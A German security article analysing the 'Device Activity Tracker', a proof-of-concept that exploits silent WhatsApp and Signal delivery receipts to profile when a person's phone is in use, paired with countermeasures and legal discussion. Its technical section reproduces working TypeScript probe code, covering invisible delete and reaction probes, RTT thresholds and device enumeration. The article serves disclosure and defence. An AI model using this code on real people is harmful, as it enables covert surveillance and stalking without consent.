Einleitung

Ein Proof-of-Concept demonstriert, wie stille Zustellbestätigungen zur Erstellung präziser Aktivitätsprofile missbraucht werden können. Eine technische Analyse des "Device Activity Tracker".
Ein auf GitHub veröffentlichtes Tool zeigt eindrucksvoll, dass nicht nur Metadaten wie der Online-Status, sondern auch unsichtbare Zustellbestätigungen zur Überwachung von Messenger-Nutzern missbraucht werden können. Anders als bisherige Tracking-Ansätze nutzt der "Device Activity Tracker" keine DOM-Manipulation oder Browser-Automatisierung, sondern die legitime WhatsApp-API und RTT-Messungen (Round-Trip Time) zur Erkennung von Geräteaktivität. Wir analysieren die technische Implementierung und zeigen Schutzmaßnahmen auf.

Das Problem: Unsichtbare Überwachung durch Timing-Analysen

Der Unterschied zu bisherigen Ansätzen

Bisherige Tracking-Tools wie WhatsApp-Monitor oder Online-Tracker basierten auf der Automatisierung von WhatsApp Web mit Puppeteer oder Selenium. Sie beobachteten den DOM-Tree auf Änderungen im Status-Indikator ("online", "schreibt..."). Diese Methoden haben jedoch mehrere Nachteile:

• Erkennbar: Browser-Automatisierung kann von WhatsApp detektiert werden
• Instabil: DOM-Änderungen brechen die Tools
• Limitiert: Nur Online-Status sichtbar, keine Geräte-Aktivität

Der Device Activity Tracker geht einen fundamental anderen Weg: Er nutzt die Round-Trip Time (RTT) von WhatsApp-Zustellbestätigungen, um zwischen aktivem Gerät und Standby-Modus zu unterscheiden.

Die wissenschaftliche Grundlage

Das Tool basiert auf der Forschungsarbeit "Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers" von Gabriel K. Gegenhuber et al. (Universität Wien & SBA Research, 2024). Die Forscher entdeckten, dass:

1. Aktive Geräte Nachrichten deutlich schneller bestätigen (typisch 100-500ms RTT)
2. Standby-Geräte erst nach dem "Wake-up" antworten (typisch 800-2000ms RTT)
3. Offline-Geräte gar nicht oder erst nach Stunden antworten

Diese Timing-Unterschiede ermöglichen präzise Rückschlüsse auf die Geräte-Nutzung – vollkommen unabhängig von den Privacy-Einstellungen für "Zuletzt online" oder "Online-Status".

Technische Analyse der Implementierung

Architektur-Überblick

Der analysierte Tracker besteht aus drei Komponenten:

device-activity-tracker/
├── src/
│   ├── tracker.ts          # WhatsApp RTT-Analyse (Kern-Algorithmus)
│   ├── signal-tracker.ts   # Signal-Implementierung
│   ├── server.ts           # Express + Socket.IO Backend
│   └── index.ts            # CLI-Interface
├── client/                 # React Web-UI mit Recharts
└── auth_info_baileys/      # WhatsApp-Session (lokal)

Technologie-Stack:
- Backend: Node.js 20+, TypeScript, @whiskeysockets/baileys (WhatsApp Web API)
- Frontend: React 18+, Recharts (Visualisierung), TailwindCSS
- Kommunikation: Socket.IO für Real-Time Updates

Die Baileys-Library: WhatsApp Web ohne Browser

Anders als Browser-Automatisierung nutzt das analysierte Tool die Baileys-Library, eine vollständige Implementierung des WhatsApp Web Protokolls in TypeScript. Baileys:

• Verbindet direkt per WebSocket mit WhatsApp-Servern
• Implementiert das komplette Noise-Protocol für E2E-Verschlüsselung
• Ermöglicht vollständige Kontrolle über gesendete Nachrichten
• Ist eine öffentliche Open-Source-Library (ähnlich wie WhatsApp Web)

Authentifizierungskonzept:

import makeWASocket, { useMultiFileAuthState } from '@whiskeysockets/baileys';

const { state, saveCreds } = await useMultiFileAuthState('auth_info_baileys');

const sock = makeWASocket({
    auth: state,
    printQRInTerminal: false,
    markOnlineOnConnect: true
});

sock.ev.on('connection.update', async (update) => {
    const { qr } = update;
    if (qr) {
        // QR-Code wird generiert und muss vom Nutzer gescannt werden
        io.emit('qr', qr);
    }
});

Die Session wird lokal gespeichert und bleibt persistent – nach einmaligem Scannen ist keine weitere Authentifizierung nötig.

Der Kern: Silent Delete Probe

Das Tool verwendet zwei Probe-Methoden zur RTT-Messung:

1. Delete-Probe (Standard, vollkommen unsichtbar)

private async sendDeleteProbe() {
    // Generiere zufällige, nicht-existierende Message-ID
    const prefixes = ['3EB0', 'BAE5', 'F1D2', 'A9C4', '7E8B', 'C3F9', '2D6A'];
    const randomPrefix = prefixes[Math.floor(Math.random() * prefixes.length)];
    const randomSuffix = Math.random().toString(36).substring(2, 10).toUpperCase();
    const randomMsgId = randomPrefix + randomSuffix;

    const deleteMessage = {
        delete: {
            remoteJid: this.targetJid,
            fromMe: true,
            id: randomMsgId
        }
    };

    const startTime = Date.now();
    const result = await this.sock.sendMessage(this.targetJid, deleteMessage);

    this.probeStartTimes.set(result.key.id, startTime);

    // Timeout: Nach 10s ohne Antwort = OFFLINE
    setTimeout(() => {
        if (this.probeStartTimes.has(result.key.id)) {
            this.markDeviceOffline(result.key.remoteJid, Date.now() - startTime);
        }
    }, 10000);
}

Warum ist das unsichtbar?
- Es wird eine Lösch-Anfrage für eine nicht existierende Nachricht gesendet
- WhatsApp verarbeitet die Anfrage und sendet Zustellbestätigung (CLIENT ACK)
- Beim Ziel-Gerät passiert nichts Sichtbares – keine Nachricht, keine Benachrichtigung
- Nicht einmal in den WhatsApp-Logs erscheint ein Eintrag

2. Reaction-Probe (Alternative)

private async sendReactionProbe() {
    const randomMsgId = this.generateRandomMsgId();

    const reactionMessage = {
        react: {
            text: '👍',
            key: {
                remoteJid: this.targetJid,
                fromMe: true,
                id: randomMsgId
            }
        }
    };

    const startTime = Date.now();
    await this.sock.sendMessage(this.targetJid, reactionMessage);
    // ... RTT-Messung analog zur Delete-Probe
}

Die Reaction-Probe ist minimal weniger verdeckt, da theoretisch ein Eintrag in den Chats bleiben könnte.

RTT-Messung und Geräte-Status-Erkennung

Die zentrale Logik zur Status-Erkennung:

private analyzeUpdate(update: { key: proto.IMessageKey, update: Partial<proto.IWebMessageInfo> }) {
    const status = update.update.status;
    const msgId = update.key.id;
    const fromJid = update.key.remoteJid;

    // Status 2 = SERVER_ACK (Server hat empfangen)
    // Status 3 = CLIENT_ACK (Gerät hat empfangen) ← Das ist relevant!
    if (status === 3) {
        const startTime = this.probeStartTimes.get(msgId);
        if (startTime) {
            const rtt = Date.now() - startTime;
            this.addMeasurementForDevice(fromJid, rtt);
        }
    }
}

Dynamische Schwellwert-Berechnung:

private addMeasurementForDevice(jid: string, rtt: number) {
    const metrics = this.deviceMetrics.get(jid) || this.createMetrics();

    // Speichere RTT
    metrics.rttHistory.push(rtt);
    metrics.recentRtts.push(rtt);
    if (metrics.recentRtts.length > 3) metrics.recentRtts.shift();

    // Berechne Median der letzten 50 Messungen
    const recentHistory = metrics.rttHistory.slice(-50);
    const median = this.calculateMedian(recentHistory);

    // Schwellwert = 90% des Medians
    const threshold = median * 0.9;

    // Durchschnitt der letzten 3 Messungen
    const avgRtt = metrics.recentRtts.reduce((a, b) => a + b, 0) / metrics.recentRtts.length;

    // Status-Bestimmung
    let state: string;
    if (avgRtt < threshold) {
        state = 'Online';     // Gerät aktiv genutzt
    } else if (avgRtt >= threshold) {
        state = 'Standby';    // Gerät im Hintergrund/gesperrt
    }

    metrics.state = state;
    this.sendUpdate();
}

Warum funktioniert das?

Wenn ein Smartphone im Standby ist, muss es bei eingehenden Nachrichten:
1. Aus dem Deep-Sleep aufwachen
2. Netzwerk-Verbindung wiederherstellen
3. WhatsApp-Prozess aktivieren
4. Nachricht entschlüsseln und ACK senden

Dies dauert deutlich länger als bei einem aktiven Gerät, wo WhatsApp bereits im RAM ist und die Netzwerk-Verbindung aktiv.

Multi-Device Tracking

WhatsApp ermöglicht bis zu 4 verknüpfte Geräte. Der Tracker kann diese prinzipiell alle erkennen:

// Baileys liefert bei Device-Enumeration alle JIDs:
// 491701234567:0@s.whatsapp.net  (Hauptgerät)
// 491701234567:10@s.whatsapp.net (Desktop)
// 491701234567:22@s.whatsapp.net (iPad)

private async enumerateDevices(jid: string) {
    const devices = await this.sock.query({
        tag: 'iq',
        attrs: {
            to: '@s.whatsapp.net',
            type: 'get',
            xmlns: 'encrypt'
        },
        content: [{
            tag: 'key',
            attrs: {},
            content: [{
                tag: 'user',
                attrs: { jid }
            }]
        }]
    });

    // Jedes Gerät wird separat getrackt mit eigenem RTT-Profil
    devices.forEach(device => {
        this.trackedJids.add(device.jid);
        this.deviceMetrics.set(device.jid, this.createMetrics());
    });
}

Dies ermöglicht theoretisch präzise Aussagen wie: "Smartphone im Standby, aber Desktop aktiv genutzt".

Was die Daten verraten könnten: Von RTT zu Aktivitätsprofilen

Hypothetisches Scenario 1: Tagesablauf rekonstruieren

Ein kontinuierliches Tracking über 24 Stunden könnte theoretisch ein detailliertes Aktivitätsprofil liefern:

Zeit	Status	RTT	Mögliche Interpretation
07:12	Online	245ms	Gerät aktiv
07:45	Standby	1523ms	Gerät im Hintergrund
08:30	Online	312ms	Gerät aktiv
09:00-12:00	Standby/Online-Wechsel	400-1200ms	Wechselnde Aktivität
12:15	Online	198ms	Gerät intensiv genutzt
18:30	Online	287ms	Gerät aktiv
22:45	Standby	1789ms	Gerät im Hintergrund
23:30-07:00	Offline	Timeout	Keine Verbindung

Hypothetisches Scenario 2: Korrelationsanalyse

Würde man theoretisch zwei Personen gleichzeitig überwachen:

Person A: 23:15 - 01:30 Uhr → Online (RTT 200-400ms)
Person B: 23:18 - 01:32 Uhr → Online (RTT 250-380ms)

Überlappung: 3h 12min, nahezu identisches Pattern

Theoretisch mögliche (aber spekulative) Rückschlüsse:
- Ähnliche Nutzungsgewohnheiten
- Möglicherweise zeitgleiche Kommunikation
- Bei ähnlichen RTT-Werten: eventuell gemeinsames Netzwerk

Hypothetisches Scenario 3: Netzwerkwechsel erkennen

RTT-Sprünge könnten theoretisch Netzwerkwechsel indizieren:

14:00 Uhr: RTT 180-250ms (stabil)
14:35 Uhr: RTT 450-890ms (variabel)
15:10 Uhr: RTT 190-240ms (stabil)

Mögliche Interpretation: Netzwerkwechsel von WiFi zu Mobilfunk und zurück zu WiFi.

Wichtiger Hinweis: Diese Scenarios dienen ausschließlich der Illustration der theoretischen Risiken. Die praktische Durchführung solcher Analysen ohne Einwilligung ist illegal.

Gegenmaßnahmen: Effektiver Schutz

Was NICHT hilft

"Zuletzt online" auf "Niemand" setzen → RTT-Tracking läuft unabhängig
"Online-Status" verbergen → Keine Auswirkung auf Zustellbestätigungen
Lesebestätigungen deaktivieren → CLIENT ACK (Status 3) wird trotzdem gesendet
Profilbild verbergen → Irrelevant für RTT-Messung

Was TEILWEISE hilft

⚠️ "Unbekannte Konten blockieren" (WhatsApp → Datenschutz → Erweitert)

WhatsApp blockiert "high-volume" Nachrichten von unbekannten Nummern. Problem:
1. WhatsApp definiert "high-volume" nicht öffentlich
2. Niedrigfrequente Probes (z.B. 1 alle 2 Sekunden) werden oft toleriert
3. Angreifer können Probing-Frequenz dynamisch anpassen

Was WIRKLICH hilft

Aggressive Firewall-Regeln (für Admins)

Unternehmen können auf MDM-verwalteten Geräten WhatsApp für unbekannte Kontakte komplett blockieren:

# iOS (Beispiel für Managed App Config)
<key>com.whatsapp.WhatsApp</key>
<dict>
    <key>blockUnknownContacts</key>
    <true/>
</dict>

Privacy-freundliche Messenger nutzen

• Threema: Keine Zustellbestätigungen standardmäßig
• Session: Onion-Routing verzögert RTT-Messungen massiv
• Briar: Peer-to-Peer, kein zentraler Server
  WhatsApp-Alternative mit Tor (für Experten)

WhatsApp über Tor-Proxy routen → RTT-Werte werden theoretisch unbrauchbar durch variable Latenz:

# Konzeptionell: Orbot + WhatsApp auf Android
# RTT variiert zwischen 500ms - 8000ms → Keine Unterscheidung Online/Standby möglich

Signal: Identische Schwachstelle

Das analysierte Tool unterstützt auch Signal. Die Implementierung folgt ähnlichen Prinzipien:

// src/signal-tracker.ts (konzeptioneller Auszug)
export class SignalTracker {
    async sendProbe() {
        const response = await fetch(`${this.apiUrl}/v2/send`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                number: this.sourceNumber,
                recipients: [this.targetNumber],
                message: "",
                reaction: {
                    emoji: "👍",
                    targetAuthor: this.targetNumber,
                    targetTimestamp: Date.now() - 86400000 // Gestern
                }
            })
        });

        // RTT-Messung analog zu WhatsApp
        const startTime = Date.now();
        // ... wait for delivery receipt ...
        const rtt = Date.now() - startTime;
    }
}

Signal-spezifische Unterschiede:
- Benötigt signal-cli-rest-api als zusätzliche Komponente
- Verwendet Reaction-Probes (keine Delete-Funktion)
- Etwas höhere Basis-RTT durch zusätzlichen API-Layer

Schutz bei Signal:

Settings → Privacy → "Typing Indicators" deaktivieren (hilft nicht gegen RTT!)
Settings → Privacy → "Read Receipts" deaktivieren (hilft nicht gegen RTT!)

Signal hat angekündigt, in Zukunft "Sealed Sender" auch für Zustellbestätigungen zu implementieren, was das Tracking erschweren würde.

Rechtliche und ethische Aspekte

DSGVO-Relevanz

Die systematische Überwachung von Personen mittels solcher Tools fällt unter Art. 4 Nr. 2 DSGVO (Verarbeitung personenbezogener Daten):

• Betroffene Person: Zielperson mit Telefonnummer
• Personenbezogene Daten: Aktivitätsmuster, Schlaf-Wach-Rhythmus, potenzielle Standortwechsel
• Rechtsgrundlage: Fehlt in der Regel (weder Einwilligung noch berechtigtes Interesse)

Bußgeldrahmen: Bis zu 20 Mio. € oder 4% des weltweiten Jahresumsatzes (Art. 83 Abs. 5 DSGVO)

Strafrecht

Je nach Einsatzzweck können verschiedene Straftatbestände erfüllt sein:

• § 238 StGB (Nachstellung/"Stalking"): Bei systematischer Überwachung zur Verfolgung
• § 201 StGB (Verletzung der Vertraulichkeit des Wortes): Bei Korrelation mit Gesprächszeiten
• § 202a StGB (Ausspähen von Daten): Wenn RTT-Daten mit anderen Datenquellen kombiniert werden

Zulässige Anwendungsfälle

Ausnahmen bestehen ausschließlich für:
Eigene Geräte testen (Selbst-Audit zur Überprüfung der eigenen Angreifbarkeit)
Mit schriftlicher Einwilligung der überwachten Person (dokumentiert und freiwillig)
Anonymisierte Forschung ohne konkrete Personenbezüge (wissenschaftliche Studien)
Pentesting im Rahmen eines beauftragten Security-Audits (mit Vertrag und definiertem Scope)

Wichtig: Dieser Artikel beschreibt die Schwachstelle ausschließlich zu Aufklärungszwecken. Die Autorin/der Autor rät ausdrücklich davon ab, die beschriebenen Techniken anzuwenden, sofern nicht eine der genannten rechtlichen Ausnahmen vorliegt.

Fazit: Metadaten sind die neue Angriffsfläche

Die Analyse des Device Activity Tracker demonstriert eindrucksvoll, dass selbst bei perfekter Ende-zu-Ende-Verschlüsselung erhebliche Privacy-Risiken bestehen können. Die RTT-basierte Überwachung funktioniert unabhängig von allen Datenschutz-Einstellungen und offenbart eine fundamentale Schwachstelle im Design moderner Messenger-Protokolle: Während Nachrichteninhalte durch starke Kryptografie geschützt sind, verraten Metadaten wie Zustellbestätigungen präzise Informationen über Nutzeraktivität.

Handlungsempfehlungen für IT-Sicherheitsverantwortliche

Unternehmen müssen das Bewusstsein schaffen, dass auch Metadaten hochsensible Informationen darstellen. Konkrete Maßnahmen umfassen die Implementierung strenger MDM-Policies, welche unbekannte Kontakte auf verwalteten Firmengeräten blockieren. Für kritische Geschäftskommunikation sollten Privacy-by-Design-Messenger wie Threema oder Session evaluiert werden, die bereits auf Protokollebene bessere Schutzmaßnahmen
gegen Timing-Analysen bieten. Zudem empfiehlt sich die Schulung von Mitarbeitern über die Grenzen von Ende-zu-Ende-Verschlüsselung.

Technische Anforderungen an Messenger-Entwickler

WhatsApp und Signal stehen in der Verantwortung, ihre Protokolle zu überarbeiten. Silent Receipts sollten zeitlich randomisiert oder verzögert werden, um RTT-Messungen zu erschweren. Signal arbeitet bereits an der Implementierung von Sealed Sender für Zustellbestätigungen – ein wichtiger Schritt in die richtige Richtung. Darüber hinaus müssen aggressive Rate-Limiting-Mechanismen für Probe-Nachrichten von Nicht-Kontakten etabliert werden. Die aktuelle Toleranz gegenüber niedrigfrequenten Probes (1 alle 2 Sekunden) ist aus Sicherheitsperspektive inakzeptabel.

Praktischer Selbstschutz für Endanwender

Privatpersonen sollten sich zunächst bewusst machen, dass unsichtbares Aktivitäts-Tracking technisch möglich ist – unabhängig davon, ob "Zuletzt online" oder Lesebestätigungen deaktiviert sind. Der wirksamste Schutz besteht im Wechsel zu Messengern mit stärkeren Privacy-Defaults. Wer bei WhatsApp oder Signal bleiben möchte, sollte die Option "Unbekannte Konten blockieren" aktivieren und ausschließlich verifizierte Kontakte akzeptieren. Für besonders schutzbedürftige Kommunikation empfiehlt sich die Nutzung von Tor-Proxies, welche RTT-Werte durch variable Latenz unbrauchbar machen.

Die Reaktion der Messenger-Anbieter

Beide Unternehmen wurden von den Wiener Sicherheitsforschern bereits 2024 über die Schwachstelle informiert. Stand Dezember 2024 wurde kein Patch veröffentlicht. Als Gründe kommen technische Komplexität (eine Protokolländerung würde Millionen Clients betreffen), Backward-Compatibility-Probleme oder eine bewusste Produktentscheidung in Frage – Delivery-Receipts gelten als Kern-Feature für User Experience. Die fehlende Kommunikation seitens WhatsApp und Signal ist jedoch inakzeptabel.

Forderungen der Security-Community

Die Cybersecurity-Community fordert von Meta und Signal Foundation unmissverständlich:

1. Transparenz: Eine öffentliche Stellungnahme zur Schwachstelle mit technischer Einordnung des Risikos und Erklärung, warum bisher kein Fix erfolgte.

2. Konkrete Timeline: Ein verbindlicher Zeitplan für die Implementierung von Schutzmaßnahmen – sei es Sealed Sender für Receipts, RTT-Randomisierung oder alternative Lösungen.

3. Sofortiger Workaround: Eine Nutzer-Option "Silent Mode", welche das automatische Senden von Client-ACKs deaktiviert. Dies würde zwar die User Experience beeinträchtigen (keine Häkchen beim Gegenüber),
aber privacy-bewussten Nutzern die Wahl lassen.

Die Schwachstelle verdeutlicht: Datenschutz endet nicht bei verschlüsselten Inhalten. Solange Metadaten wie Timing-Informationen ungeschützt bleiben, ist wahre Privacy in modernen Messengern eine Illusion.

Weiterführende Ressourcen

• Paper: "Careless Whisper" (Universität Wien & SBA Research, 2024) - Originalforschung zur RTT-basierten Überwachung
• Tool-Repository: github.com/gommzystudio/device-activity-tracker (Proof-of-Concept, nur für Forschungszwecke)
• Baileys-Library: github.com/WhiskeySockets/Baileys - Open-Source WhatsApp Web API
• Signal Protocol: signal.org/docs - Technische Dokumentation
• DSGVO: dsgvo-gesetz.de - Rechtliche Grundlagen zum Datenschutz

Haftungsausschluss:
Dieser Artikel dient ausschließlich der wissenschaftlichen und journalistischen Aufklärung über Sicherheitslücken in Messaging-Systemen. Die beschriebenen Techniken dürfen ausschließlich mit expliziter schriftlicher Einwilligung der betroffenen Personen, für Selbsttests eigener Geräte oder im Rahmen autorisierter Sicherheitsforschung eingesetzt werden. Jede andere Nutzung ist illegal und wird strafrechtlich verfolgt.

Die Autorin/Der Autor übernimmt keine Haftung für Missbrauch der dargestellten Informationen. Die Veröffentlichung erfolgt im öffentlichen Interesse zur Aufklärung über existierende Sicherheitsrisiken und zur Förderung der Entwicklung wirksamer Schutzmaßnahmen.

Erstveröffentlichung: Dezember 2025 | AEH | Lizenz: CC BY-SA 4.0